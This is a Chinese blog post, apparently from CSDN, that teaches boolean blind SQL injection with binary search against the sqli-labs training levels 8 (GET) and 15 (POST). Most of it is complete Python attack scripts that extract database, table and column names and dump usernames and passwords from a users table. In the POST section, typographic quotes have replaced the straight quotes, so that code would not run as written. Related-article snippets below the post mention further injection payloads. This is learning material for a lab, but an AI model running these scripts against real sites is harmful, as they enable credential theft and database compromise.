二分法实现SQL盲注

最新推荐文章于 2024-07-25 01:02:35 发布
最新推荐文章于 2024-07-25 01:02:35 发布
阅读量1.1k 收藏 6
点赞数
分类专栏： web安全学习 文章标签： sql python 数据库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/x647498949/article/details/126823199
版权
本文详细介绍了SQL布尔盲注的概念，通过GET和POST两种类型的注入方式，展示了如何利用Python进行数据库信息探测。作者分享了从获取数据库长度、库名、表名、列名到数据爆取的全过程，并提供了逐步自动化脚本，适用于sqli-labs的实战练习。
摘要由CSDN通过智能技术生成

目录

好家伙，昨天在buu上看到一道SQL注入的题目，贼难受，然后就果断放弃去看大佬们写的wp，所以成功的花了6个小时来学习这个鬼东西，可能是自己太菜了，也可能是小甲鱼python看的太少了……小甲鱼的python的确讲的很不错，推荐想学python的去看看。

布尔盲注——GET类型

这里是自己写的代码，写的比较烂，勿喷！
话不多说，直接上代码，看不懂来找我（算了，还是别找我了……），这里都是以sqli-labs第八关为例子的。

# 导入爬虫模块
import requests
# 导入时间模块
import time


# 获取数据库的长度
def get_DBlen(url):
    for i in range(1,20):
        payload = "' and length(database())=%d -- p"%i
        html = requests.get(url + payload)
        if "You" in html.text:
            print(f"数据库长度为：{i}")
            break
    return i

# 获取数据库的库名
def get_DBname(url,DBlen):
    DBname = ""
    DBlen = DBlen + 1
    for i in range(1,DBlen):
        for j in range(33,128):
            payload = "' and (ascii(substr((select(database())),{0},1))={1}) -- p".format(i,j)
            db_url = url + payload
            html = requests.get(db_url)
            if "You" in html.text:
                DBname += chr(j)
                break
        print(DBname)
    return DBname

# 获取表的长度
def get_TBlen(url):
    # 表示数据表的数量
    TBvalue = 0
    for j in range(0,15):
        payload = "' and length((select table_name from information_schema.tables where table_schema=database() limit {0},1))>1 -- p".format(j)
        db_url = url + payload
        html = requests.get(db_url)
        # 如果有回显说明该表存在，存在的话就可以判断该表的长度
        if "You" in html.text:
            pass
        else:
            TBvalue = j
            break
    # print(TBvalue)
    for j in range(0,TBvalue):
        # print(j)：0,1,2,3
        for i in range(1,20):
            payload = "' and length((select table_name from information_schema.tables where table_schema=database() limit {0},1))={1} -- p".format(j,i)
            db_url = url + payload
            html = requests.get(db_url)
            if "You" in html.text:
                print(f"数据表{j}的长度为{i}")
    return TBvalue
    
# 获取表名
def get_TBname(url,TBlen):
    TBnameAll = []
    for i in range(0,TBlen):
        TBname = ""
        for j in range(1,15):
            min = 32
            max = 128
            mid = (max + min) // 2
            while min < max:
                payload = "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))>{2} -- p".format(i,j,mid)
                html = requests.get(url + payload)
                if "You" in html.text:
                    min = mid + 1
                else:
                    max = mid
                mid = (max + min) // 2
            if mid <= 32 or mid >= 127:
                break
            TBname += chr(mid)
            # print(chr(mid))
        print(TBname)
        TBnameAll.append(TBname)
    return TBnameAll

# 获取列的列名
def get_Colname(url):
    for i in range(0,15):
        Colname = ""
        for j in range(1,15):
            min = 32
            max = 128
            mid = (min + max) // 2
            while min < max:
                payload = "' and ascii(substr((select column_name from information_schema.columns where table_name='referers' limit {0},1),{1},1))>{2} -- p".format(i,j,mid)
                html = requests.get(url + payload)
                if "You" in html.text:
                    min = mid + 1
                else:
                    max = mid
                mid = (max + min) // 2
            if mid <= 32 or mid >= 127:
                break
            Colname += chr(mid)
        print("数据列名为：",Colname)

# 爆数据
def get_shuju(url):
    for i in range(0,15):
        shuju = ""
        for j in range(1,20):
            min = 32
            max = 128
            mid = (min + max) // 2
            while min < max:
                payload = "' and ascii(substr((select concat(id,'~',email_id) from emails limit {0},1),{1},1))>{2} -- p".format(i,j,mid)
                html = requests.get(url + payload)
                if "You" in html.text:
                    min = mid + 1
                else:
                    max = mid
                mid = (max + min) // 2
            if mid <= 32 or mid >= 127:
                break
            shuju += chr(mid)
        print("数据为：",shuju)



if __name__ == "__main__":
    # 要进行SQL盲注的链接
    url = "http://192.168.59.150/sqli-labs/Less-8/?id=1"

    # 数据库的长度
    DBlen = get_DBlen(url)

    # 数据库的库名
    DBname = get_DBname(url,DBlen)

    # 数据表的个数
    TBlen = get_TBlen(url)
    # print(TBlen)

    # 表的表名
    # TBnameAll = get_TBname(url,TBlen)
    # 返回的是一个列表，表示所有的数据表名
    # print(TBnameAll)
    get_Colname(url)

    # 数据
    get_shuju(url)

能运行，运行结果比较多，就不截图了。唉，写的比较垃圾，大佬别喷。慢慢改进，好家伙……

下面是请教师傅，然后改的脚本，算80%的自动化吧，嗷嗷嗷……：

from operator import le
import requests
import time

host = "http://192.168.59.150/sqli-labs/Less-8/?"

def getDatabase():  #获取数据库名
    # 将host变量变为一个全局变量
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            time.sleep(0.3)
            url = host + "id=1' and (ascii(substr((select(database())),%d,1))<%d) -- p" % (i,mid)
            res = requests.get(url)
            # 如果返回的是You，那么就为真的
            if "You" in res.text: 
                high = mid
            else:
                low = mid + 1
            mid=(low + high) // 2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("database is -> "+ans)
    # 返回库名
    return ans

def getTable(DBname): #获取表名
    global host
    ans= ""
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            time.sleep(0.3)
            url = host + "id=1' and (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='{0}')),{1},1))<{2}) -- p".format(DBname,i,mid)
            res = requests.get(url)
            if "You" in res.text: 
                high = mid
            else:
                low = mid+1
            mid=(low + high) // 2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid - 1)
        print("table is -> " + ans)
    # 返回表名，此时表名为一个列表
    return ans

def getColumn(TBname): #获取列名
    global host
    ans = ''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            time.sleep(0.3)
            url = host + "id=1' and (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='{0}')),{1},1))<{2}) -- p".format(TBname,i,mid)
            res = requests.get(url)
            if "You" in res.text: 
                high = mid
            else:
                low = mid + 1
            mid=(low + high) // 2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid - 1)
        print("column is -> " + ans)
    # 返回一个列名
    return ans

def dumpTable():#脱裤
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            time.sleep(0.3)
            url = host + "id=1' and (ascii(substr((select(group_concat(username,password))from(users)),%d,1))<%d) -- p" % (i,mid)
            res = requests.get(url)
            if "You" in res.text: 
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("dumpTable is -> "+ans)

DBname = getDatabase()
# print(DBname)
TBname = getTable(DBname)
# print(type(TBname))表示是一个字符串，用来测试
TBnames = []
TBnames.append(TBname.split(','))
# 因为输出的是一个二元数组，所以使用下面的代码来转为一维数组
TBnames = TBnames[0]
# print(TBnames)
TBlen = len(TBnames)
for i in range(0,TBlen):
    TBname = TBnames[i]
    # print(TBname)
    getColumn(TBname)
    if i == TBlen - 1:
        break
dumpTable()

布尔盲注——POST注入

直接上代码了：（这里是以sqli-labs第15关为例的）

import requests

import time

host = “http://192.168.59.150/sqli-labs/Less-15/”

def getDatabase():  #获取数据库名

    # 将host变量变为一个全局变量

    global host

    ans=”

    for i in range(1,1000):

        low = 32

        high = 128

        mid = (low + high) // 2

        while low < high:

            # time.sleep(0.3)

            payload = “admin’ and (ascii(substr((select database()),{0},1))<{1}) — p”.format(i,mid)

            # print(payload)# 测试

            data = {“uname”:payload,”passwd”:”admin”,”submit”:”Submit”}

            html = requests.post(host,data)

            # 如果返回的是有数据，那么就为真的

            if “flag.jpg” in html.text:

                high = mid

            else:

                low = mid + 1

            mid = (low + high) // 2

        if mid <= 32 or mid >= 127:

            break

        ans += chr(mid – 1)

        print(“database is -> ” + ans)

    # 返回库名

    return ans

def getTable(): #获取表名

    global host

    ans= “”

    for i in range(1,1000):

        low = 32

        high = 128

        mid = (low + high) // 2

        while low < high:

            # time.sleep(0.3)

            payload = “admin’ and (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{0},1))<{1}) — p”.format(i,mid)

            data = {“uname”:payload,”passwd”:”admin”,”submit”:”Submit”}

            html = requests.post(host,data)

            # 如果返回的是有数据，那么就为真的

            if “flag.jpg” in html.text:

                high = mid

            else:

                low = mid+1

            mid=(low + high) // 2

        if mid <= 32 or mid >= 127:

            break

        ans += chr(mid – 1)

        print(“table is -> ” + ans)

    # 返回表名，此时表名为一个列表

    return ans

def getColumn(TBname): #获取列名

    global host

    ans = ”

    for i in range(1,1000):

        low = 32

        high = 128

        mid = (low + high) // 2

        while low < high:

            time.sleep(0.3)

            payload = “admin’ and (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='{0}’)),{1},1))<{2}) — p”.format(TBname,i,mid)

            data = {“uname”:payload,”passwd”:”admin”,”submit”:”Submit”}

            html = requests.post(host,data)

            # 如果返回的是有数据，那么就为真的

            if “flag.jpg” in html.text:

                high = mid

            else:

                low = mid + 1

            mid=(low + high) // 2

        if mid <= 32 or mid >= 127:

            break

        ans += chr(mid – 1)

        print(“column is -> ” + ans)

    # 返回一个列名

    return ans

def dumpTable():#脱裤

    global host

    ans=”

    for i in range(1,1000):

        low = 32

        high = 128

        mid = (low+high)//2

        while low < high:

            time.sleep(0.3)

            payload = “admin’ and (ascii(substr((select(group_concat(username,password))from(users)),%d,1))<%d) — p” % (i,mid)

            data = {“uname”:payload,”passwd”:”admin”,”submit”:”Submit”}

            html = requests.post(host,data)

            # 如果返回的是有数据，那么就为真的

            if “flag.jpg” in html.text:

                high = mid

            else:

                low = mid+1

            mid=(low+high)//2

        if mid <= 32 or mid >= 127:

            break

        ans += chr(mid-1)

        print(“dumpTable is -> “+ans)

if __name__ == “__main__”:

    # getDatabase()

    TBname = getTable()

    # print(type(TBname))表示是一个字符串，用来测试

    TBnames = []

    TBnames.append(TBname.split(‘,’))

    # 因为输出的是一个二元数组，所以使用下面的代码来转为一维数组

    TBnames = TBnames[0]

    # print(TBnames)

    TBlen = len(TBnames)

    for i in range(0,TBlen):

        TBname = TBnames[i]

        # print(TBname)

        getColumn(TBname)

        if i == TBlen – 1:

            break

    dumpTable()

如果有哪里写的不好的地方，还请各位师傅指教！感谢

小菜猴子_x
关注
专栏目录
SQL注入(二)之注入分类
不秃头的程序Yang
03-21 201
一 前期准备 01 查询IP 02 启动phpstudy 03 访问网站 二 数字型注入
二分查找结合sql盲注
whojoe的博客
04-14 1053
二分查找结合sql盲注回顾分析网上的代码找学算法的同学帮忙大佬真强算法优化后算法优化前验证效果数据表结构优化前耗时优化后耗时 回顾 昨天晚上写了一个sql盲注的脚本，对数据是采用的枚举方法，简单跑了一下发现非常的慢，于是上网去找了一下别人的代码。 分析 网上的代码 def get_Current_DbName(self): table_list = [] #二分法获...
SQL注入（盲注——二分法POST）
qq_43520778的博客
09-07 501
[toc]SQL注入。
二分法盲注
qq_43756333的博客
05-25 3076
在学sql盲注脚本的时候碰到了使用二分法盲注字段的情况，学习一下。 环境： [CISCN2019 华北赛区 Day2 Web1]Hack World 复现地址：BUUCTF 打开题目 直接告诉了flag在flag表和flag列里，让我们提交id。 这道题过滤了一些字段以及常用注入语句，可以用Burpsuite来fuzz测试一下,如下所示，长度为482的代表被过滤 最后使用的方法是异或注入，有关异或注入的原理，可参考异或注入 直接给出payload：1^(if((ascii(substr((select
sql盲注二分法注入脚本
菜鸟-传奇
12-27 1056
sql盲注二分法注入脚本 次脚本可以用来检测sql靶场第五关 http://caichuanqi.cn/lab/sqli-labs-master/Less-5/?id=1 #-*-coding:utf-8-*- import requests import time #host = "http://web.jarvisoj.com:32787/login.php" host = "http:...
[SQL盲注][极客大挑战 2019]FinalSQL(二分法)
Y4tacker的博客
08-16 6152
发现过滤了一堆比如*空格之类的我们用()绕过上脚本， 网站太垃圾了请求的快，就要出错，还要加一个sleep等一下 import time import requests url = "http://34e5371d-f910-48da-ae2e-26ed2b56eb8d.node3.buuoj.cn/search.php?id=" result = '' i = 0 while True: i = i + 1 head = 32 tail = 127 while h
多线程+二分法的巧用——通达OA SQL盲注1
08-03
【多线程+二分法在SQL盲注中的应用——以通达OA为例】 SQL盲注（SQL Blind Injection）是一种常见的网络安全漏洞，攻击者通过发送特定的SQL查询，利用服务器的响应时间或状态来推断数据库的信息。在这个案例中，...
DVWA-SQL盲注脚本（全）
10-04
DVWA SQL盲注，Low，Medium，High 三个级别的bool盲注脚本，比较完整，配套解释 ： https://blog.csdn.net/csdn_Pade/article/details/82886765
【DVWA靶场】Web安全之(布尔值/延时型)SQL盲注（超详细教程）
最新发布
weixin_60838266的博客
07-25 1449
SQL注入是一种常见的网络安全漏洞，通过利用网站对用户输入数据的不完善检查和过滤，攻击者可以向数据库服务器发送恶意的SQL查询，从而获取敏感信息或者对数据库进行破坏。在本文中，通过Kali Linux对DVWA的SQL Injection模块展开了实验，并使用手工和burpsuite工具针对Low、Medium和High等级进行了布尔值/延时型的SQL盲注测试
SQL盲注-你需要知道的常用sql函数和语句
Brilliant_orange的博客
11-09 1099
小白 SQL注入 你需要知道的常用SQL语句和函数
SQL SERVER 分页查询二分法
07-02
通常多表联查并且数据大时，分页查询时，会出现查询性能问题，查分页后面的数据，时间越久。但我们可以通过判断查询数据的总数据来进行相应的查询方式，从而保证性能。
基于dvwa的sql盲注(Blind)-低中高
滕财然的博客
11-15 2919
目录sql盲注和sql注入的区别sql盲注过程dvwa-SQL Injection (Blind) low级别布尔盲注时间盲注dvwa-SQL Injection (Blind) Medium级别dvwa-SQL Injection (Blind) High级别 sql盲注和sql注入的区别 盲注：目标只会回复是或不是，没有详细内容 注入：可以查看到详细内容 盲注分为：布尔盲注、时间盲注...
python的sqli-labs15的二分法时间盲注
Programmonkeykin的博客
12-11 4165
1.导入库。 2.按ASCII码从小到大编写常见的符号、字符、数字。 3.编写实验对应库的地址，这里的url根据自己的实际状况而言。 编写get_length函数： 其二分盲注实现的完整代码如下： Payload="admin'andif((length(({}))={}),sleep(2),if((length(({}))>{}),sleep(3),1))#".format(data_payload,n,data_payload,n) 即，如果我们定义的数据长度n刚好等于我们..
二分查找在sql盲注里面的应用
0verWatch的博客
08-27 2653
前言 最近在重新复习SQL注入用了sqllabs这个靶场，发现在做盲注的时候自己写的脚本，就一直自增去盲注的话时间花费太大，所以就在看了看二分查找在这一方面的应用 确实快了不少，很久没有写过小脚本就手有点生疏了，赶紧记录一下 正文 二分查找又称折半查找，优点是比较次数少，查找速度快，平均性能好；其缺点是要求待查表为有序表，且插入删除困难。因此，折半查找方法适用于不经常变动而查找频繁的有序列...
【CTF_流量日志分析】二分法盲注分析
serendipity1130的博客
10-16 1974
1.打开日志文件发现又是一道二分法盲注流量，观察任意几条： 分析过程： 当状态码位200的时候，表示正确，报错为404，所以第21位大于101正确，大于102报错，所以正确字符为101，所以盲注出来的字符串应该是状态码等于200时的字符或等于404时的ascii码减去1 2.根据以上分析写出脚本： import urllib.parse import requests,re f = open('日志里的秘密.log','r',encoding='gb18030',errors='ignore
mysql 盲注二分法python脚本
weixin_30384217的博客
04-29 1364
import urllib import urllib2 def doinject(payload): url = 'xxxxxxxxxxxxxxxxxxxxx' values = {'injection':payload,'inject':'Inject'} data = urllib.urlencode(values) #print d...
一天一道ctf 第47天（二分法盲注）
scrawman的博客
07-29 340
[BSidesCF 2019]Kookie 看样子是要我们以admin登录，线索是cookie。只要抓包添加cookie:username=admin就行了（？？？） [WUSTCTF2020]颜值成绩查询
PHP正则表达式二分法实现mysql盲注脚本
weixin_30348519的博客
04-29 143
$sUrl = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'; $sPost = 'inject=Inject&injection='; $sCharset = 'ABCDEF0123456789'; /* for every character */ for ($i=0, $hash=''; $i<32; ++$i) { ...
sql注入之盲注
2301_80913334的博客
04-15 1586
sql注入过程中，sql语句执行select之后，可能由于网站代码的限制或者apache等解析器配置了不回显数据，造成在select数据之后不能回显到前端页面。此时，我们需要利用一些方法进行判断或者尝试，这个判断的过程称之为盲注。简单来说就是页面没有报错回显，不知道数据库具体返回值的情况下，对数据库中的内容进行猜解，实现sql注入。web页面只返回True，False两种值。利用页面返回不同，逐个猜解数据1、布尔盲注不推荐使用手注但也需要了解其payload的构造；
通达OA SQL盲注利用：多线程+二分法提升效率
"这篇文档主要介绍了如何利用多线程和二分法来提高SQL盲注的效率，通过在Poc脚本中应用这些技术，针对通达OA系统2017版本的一个SQL注入漏洞进行利用，以获取管理员的sessionid并登陆后台。文章强调了使用者对由此...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小菜猴子_x

你的鼓励将是我创造的最大动力！

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值